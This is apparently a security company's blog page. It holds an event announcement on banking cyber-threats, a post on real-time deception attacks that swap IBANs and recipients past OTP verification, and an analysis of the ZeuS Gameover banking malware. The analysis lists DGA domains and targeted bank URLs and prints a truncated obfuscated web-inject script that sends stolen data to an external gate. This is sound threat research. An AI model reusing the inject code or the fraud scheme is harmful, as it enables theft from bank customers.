Financial Cyber-Threat Briefing

“Planning for Attack-Resilient Web Applications”

The next 11th July 2014 in London Minded Security, the Software Security Company, will present an overview of the most common and latest attack vectors affecting online banking and other financial online services, strategies and methodologies for addressing growing risks in this domain and demonstrate some of latest untraceable exploits as well as solutions to stop them.

The agenda

14.30 to 15:00 Registration and welcome

15.00 to 16:15 Keynote Presentation

16:15 to 16:30 Networking Break 

16:30 to 17:15 Live Demos 

17:15 to 18.00 Networking Drinks Reception

Speakers and presentations

"Emerging Cyber-Threats Targeting Financial Institutions"

This presentation will share research carried out on the root causes of security incidents caused by attacks from emerging threats such as malware banking. The session will provide practical examples of instances of compromises causes by various threat agents and provide an in depth analysis of methods and attacks vectors employed against online banking applications. The scope of this analysis will be to analyse the threats, simulate attacks and identify flaws in application architecture that can be prioritised for remediation. To simulate the attack, modelling techniques such as the attack kill chain and attack trees will be shown. The goal of this session is to provide information security officer’s examples of processes, methodologies and risk frameworks that can be used to identify countermeasures to mitigate emerging threats.

Speaker: Marco Morana, SVP Technology Risks & Controls, Citi

"Overview of Online Banking Malware & Countermeasures"

This session will present how attackers currently identify and exploit web vulnerabilities on financial institution websites to stealing credentials. Giorgio will also demonstrate how compromised customer PC’s can compromise online transaction platforms an overview of the technology being used for prevention. Finally Giorgio will present a new technology “AMT Banking Malware Detector” that allows banks to identify users infected with malware before they become victims of fraud.

Speaker: Giorgio Fedon, COO, Minded Security & OWASP Lead.

"Preventing In-Browser Malicious Code Execution"

DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. Certain vulnerabilities in JavaScript code cannot be tracked by standard IDS or perimeter security measures, which leads to a huge potential vulnerability, the code can be abused to steal data or bypass authentication mechanisms in web interfaces. This presentation will demonstrate vulnerabilities and also present Minded Security’s latest countermeasure DOMinatorPro.

Speaker: Stefano Di Paola. CTO, Minded Security & OWASP Project Lead

Info & Registration

For more information and registration, please visit the following web page:

http://www.liquid-nexxus.com/en/schedule/next/financial-cyber-threat-briefing

Discretionary Controls and Realtime Deception Attacks

Nowadays banking authentication systems are getting more and more sophisticated in order to counterattack the increasing number of hack attempts, but unfortunately attackers follow the same trend by forging new and more refined attack systems, we can define this as a classical never ending battle between good and evil forces.

 

In this blog post we will talk about the threats posed by the lack application of the proper standard (ISO 15022, 8583) which regulates controls on banking transaction details.

We can summarize this lack of standard with the following statement: “Banking transactions details are checked discretionally by the receiving institute”.

An in depth view of Discretionary Controls could be checked here [1].

The immediate effect of this behavior is that an attacker could choose a bank with weak controls to commit fraudulent transactions.

In this post we describe a scenario where an attacker takes advantage of a bank accepting incoming wire transfers omitting the surname of the recipients. Too many financial institutes allow incoming wire-transfers to "Giorgio" instead to "Giorgio Rossi" as a recipient.

The immediate effect of this behavior is that an attacker could choose a bank with weak controls to commit fraudulent transactions.

 Another very important consequence of a weak control on transaction details is that it could disrupt the effectiveness of authentication mechanisms especially transaction detail verification ones because is possible to accomplish Social Engineering attacks, for example on the recipient Name.

More details will be given in a specific paragraph that will clarify how discretionary controls could be abused. To clarify the whole attack process let's clarify what is an OOB authentication system.

Overview of OOB Transaction Detail Verification devices

 

The OOB (Out-Of-Band) Transaction Detail Verification authentication system sends to the banking customer a set of details about the transaction that he should approve. Those details could be for example Iban, Amount, Recipient, Country, if the requested transaction matches the expectation of the customer (seems legitimate) he will validate the transfer by generating an OTP code.

Follows an example of a typical transaction detail verification hardware device:

If the transaction is correct, the user will validate it by generating an OTP code to finalize the operation.

Let’s see how an attacker could abuse the weaknesses in deriving from discretionary controls in realtime thanks to the technology offered by the most modern banking malware.

The first step is to clarify what is a realtime-deception attack and how is accomplished.

ATS and Realtime Deception Attacks

Most modern malware banking implements a webinjection technology called ATS [2] which stands for Automatic Transfer System. Thanks to the ATS system attackers could automatically commit fraudulent transactions or modify and substitute in realtime sensitive details like Iban and Recipient of a legit transaction requested by the victim with malicious detail one.

A realtime-deception attack creates a condition, in which the victim is convinced to authorize a legitimate transaction, when in fact will be validating the fraudulent transaction desired by the attacker.  

Realtime-Deception applied to Discretionary Controls

The following picture summarizes the attack process:

It’s clear that a realtime-deception attack could be a serious threat if applied to a bank that implements weak discretionary controls.

1. First step involves in the infection of the victim with a banking malware which supports MiTB (Man in The Middle) and makes use of ATS technology.
2. When the victim fills details to commit a legitimate transaction, the webinjection will substitute the proper Iban and other details, with a malicious ones owned by the attacker. The attacker automatically chooses thanks to ATS the proper money-mule to adopt, in the case of the example Giorgio “Mule”. Attackers needs a mule with the same name (not surname) of the intended recipient chosen by the user.

The victim will receive in the OTP device details about the transaction, but will hardly notice the change of the Iban code, so finally the victim is convinced to validate your transaction. OTP will also provide the code necessary to validate the fraudulent transaction.

Realtime-Deception attacks are suitably constructed according to the device and transaction details exposed to the victim.

However it’s possible to provide a categorization of the possible combinations of detail alteration and relative weak discretionary control that could lead to a successful attack. This combination involves the security design of the OOB device screen:

1. Substitution of Recipient, Iban and Amount – This substitution could be used for example against phone call authentication which does not reveal transaction details.
2. Substitution of Recipient and Iban – This substitution could work for example against devices that does not show the Name between transaction details.
3. Substitution of Recipient’s Name and deletion of the Surname – This substitution could work for example against devices that only show only the Recipient Name.

Let’s suppose for example that we are in the third case, the hardware device shows only Amount and Name and let’s also suppose that the banking transaction detail controls does not care about the recipient Surname.

An attacker could exploit this flaw to substitute for example
The ATS automatically chooses the best fitting money-mule, in this case the mule has the same name of the legitimate recipient, the Surname difference is rendered useless due to the nature of this specific control weakness: example Giorgio (Real) -> Giorgio (Mule).
Where “Giorgio Mule” is a money-mule owned by the attacker.
From a victim point of view would be impossible to distinguish Giorgio “Real” from “Mule”, this behavior will finally lead the customer to validate the fraudulent transaction.

The scope of this simple attack scenario is to show that it’s possible to meet a specific banking institute which has poor controls, for example by allowing transactions that contains a wrong beneficiary name. For an attacker will be an easy task to change Iban code and leave the same recipient name.

Each kind of substitution/modification typology strictly depends on the weak discretionary control applied by the specific bank.

It’s interesting to put in evidence the fact that a correct mix of Social Engineering, webinjection capabilities and knowledge of the details validation flaws could pose a serious threat for the vast majority (hardware and software) of OOB transaction detail verification authentication systems.

From a defense point of view became clear that adopting the proper transaction detail verification standards [3] [4] represents a significant increase in terms of security.

Written by Giorgio Fedon and Giuseppe Bonfà

References:

[1] http://blog.mindedsecurity.com/2009/05/discretionary-controls-may-lead-to.html
[2] http://blog.mindedsecurity.com/2012/09/zeus-gameover-overview.html
[3] http://en.wikipedia.org/wiki/ISO_15022
[4] http://en.wikipedia.org/wiki/ISO_8583

ZeuS Gameover Overview

In this blog post we are going to discuss about an interesting ZeuS variant called “Gameover” that in the last quarter shown an impressive activity in terms of spread and infection rate especially in Italy.
According to f-secure [1]:

 “Italy has a significant number of Gameover infections.”

And according to the Secureworks [2]:

“on 678,000 unique Gameover bots, of which, 5.1% are Italian.”

ZeuS Gameover is a post source-code-leak variant of the original ZeuS trojan. One of the most peculiar characteristics of Gameover is that it relies upon a Peer to Peer botnet infrastructure, in such way that removes the centralized Command and Control server ([2]), additionally it implements a DGA (Domain Generation Algorithm) which produces domains like these in case the peers cannot be reached:

•    lhcemrwpfllnlblfevkjf.com
•    buzptsuoyhnrqdyprohqozsl.ru
•    cqheuowcjnaixeuzlcyemsqwpeqrw.com
•    nbmfxcyptpjtwbaxkjvbmpxwzu.info
•    pcetrgnbuwbynpfxibotsqc.org
•    soibeueutaeytsodpvcbmzh.net
•    cegquowoibtfqozpvxgnroaqup.biz
•    xqotqwqorklbpbkbdekflrautjf.ru
•    kzltwdezcajnceeutghdeqvkbi.com
•    ijgqamxaisgphqubhrkqwljx.net
•    tsxoribauktmtzhpuxskt.org

According to Symantec [3]:  “every peer in the botnet can act as a C&C server, while none of them really are one. Bots are now capable of downloading commands, configuration files, and executables from other bots—every compromised computer is capable of providing data to the other bots. We don’t yet know how the stolen data is communicated back to the attackers, but it’s possible that such data is routed through the peers until it reaches a drop zone controlled by the attackers.”


Gameover WebInjects

Like other ZeuS versions, Gameover bases its attacks on the MiTB (Man in The Browser) approach; this implies that the malware has a configuration file which contains a list of financial institutions and the relative malicious JavaScript code to be injected when a victim visits one of these pages.
An interesting aspect of this variant, is that configuration and the whole Web Injection mechanism is significantly different from previous ZeuS versions.
WebInjection/Configuration management is demanded to a malicious thread injected into the running browser process (like other versions) and can be synthetized as follows:

•    Configuration Decryption
•    Regular Expressions interpretation in order to find matching URLs
•    Web Injection code decryption and commit into the victim page

The malicious thread will take the URL infected by the victim in order to match this with an encoded list of URLs, which constitutes the Target Institutions.
Here comes one of the peculiar characteristics of Gameover, which is given by the fact that there is a double list of target URLs:

1.    List of “Default” targets
2.    List of Web Injection targets

Basically URL matching goes through two lists of targets, the first one which is already public and known:
•    @https://bancopostaimpresaonline.poste.it/bpiol/lastFortyMovementsBalance.do?method=loadLastFortyMovementList
•    @https://www3.csebo.it/*
•    @https://qweb.quercia.com/*
•    @https://www.sparkasse.it/*
•    @https://dbonline.deutsche-bank.it/*
•    @https://*.cedacri.it/*
•    @https://www.bancagenerali.it/*
•    @https://www.csebo.it/*
•    @https://*.deutsche-bank.it/*

This partial list (the complete one contains targets from various countries) shows the targeted Italian financial institutions [1]

The analysis of multiple samples and configurations showed that this list is near to be immutable, especially about Italian targets.

But by going a little deeper into the configuration decryption process, Minded Security observed that there is a second list of targets, significantly larger than the first, which contains a huge amount of financial institutions targeted by the web injection. Below the complete list of Gameover targets:

https://express.53.com/express/logo
https://direct.53.com/direct/logon53Direct.js
https://www.abbeyinternational.com/Login.asp
alahliecorp.com/AlahlieCorp/web/CorporateSignOn.asp
alinmaonline.com/cb/servlet/cbjsp-ns/logi
alinmaonline.com/efs/servlet/efs
https://www.almubasher.com.sa/retail/LogonRetail.js
https://www.almubasher.com.sa/NewECorporate/p/login
https://www.arabi-online.net/efs/servlet/efs/jsp-ns/logi
https://www.bankalbilad.com/retail/logon.d
https://bnycash.bankofny.com
...

Full list can be downloaded from: http://www.mindedsecurity.com/fileshare/zeus_p2p-gameover-25092012.txt

According to the Reverse Engineered code, this second list comes from the same configuration used for the first and it’s decrypted immediately after that the default one has been checked.
Due to the same logic behind the decryption process, it’s possible to catch this list in the same way used to carve the default one, like in the screenshot below:

An aspect to note is that, the URL triggers are not immediately visible this time, because of the following pattern adopted:
True_Char – 0x1C – True_Char – 0x1C – etc.
or
True_Char – 0x1D – True_Char – 0x1D – etc.
When victim’s URL matches with one of the above, the corresponding web inject will be decrypted and injected into the target page.

Gameover ATS
Let’s now take a closer look to a typical Gameover injected malicious JavaScript code:

<script>
_GATE = 'https://dom*.eu/*/php/gate.php?d=';
window.pseudo = [];
eval(function(p,a,c,k,e,r){e=function(c)
..
Float|contents|filter|nodeType|TEXT_NODE|nodeValue|Distinte|Bonifici|distinta|storico|prototype|
</script>

As you can see _GATE contains an external resource (obscured for security reasons), this location will be used to gather all stolen information.

This technology is known as ATS (Automated Transfer System) [4]:

“
Unlike WebInject files that displayed pop-ups to steal victims’ credentials, ATSs remained invisible. These did not prompt the display of pop-ups as well as performed several tasks such as checking account balances and conducting wire transfers using the victims’ credentials without alerting them. ATS scripts also modified account balances and hid illegitimate transactions to hide traces of their presence to victims. As long as a system remains infected with an ATS, its user will not be able to see the illegitimate transactions made from his/her accounts. This essentially brings to the fore automated online banking fraud because cybercriminals no longer need user intervention to obtain money.
“

In other words an ATS system allows criminals to manage stolen information simply by accessing a web application, the following screenshot show the login page of a typical ATS application.

Following there is a screenshot taken from one of those ATS domains that shows the Automated Transfer Rule building:

And here there is another screenshot from the same ATS which targets a different bank:

It’s finally pretty interesting to put in evidence the fact that the usage of an ATS web inject changed the way dropzones work, because they will be no longer a centralized resource (easy to monitor and consequently takedown),  but a distributed one.
Each webinject could contain a different ATS server.   

Trackdown ATS users

As final step Minded Security decided to track down the ATS system in order to observe the involved user activity, shown below a Geo Map of the observed access. Users' logged IP come out from cloud server, in this way they can protect their identity.

Conclusions

Gameover poses a serious risk not only for Italian financial institutions; Minded Security will maintain a high awareness level on the evolution of this threat.

References

[1] http://www.f-secure.com/weblog/archives/00002424.html
[2] http://www.secureworks.com/research/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/
[3] http://www.symantec.com/connect/blogs/zeusbotspyeye-p2p-updated-fortifying-botnet
[4] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_automating_online_banking_fraud.pdf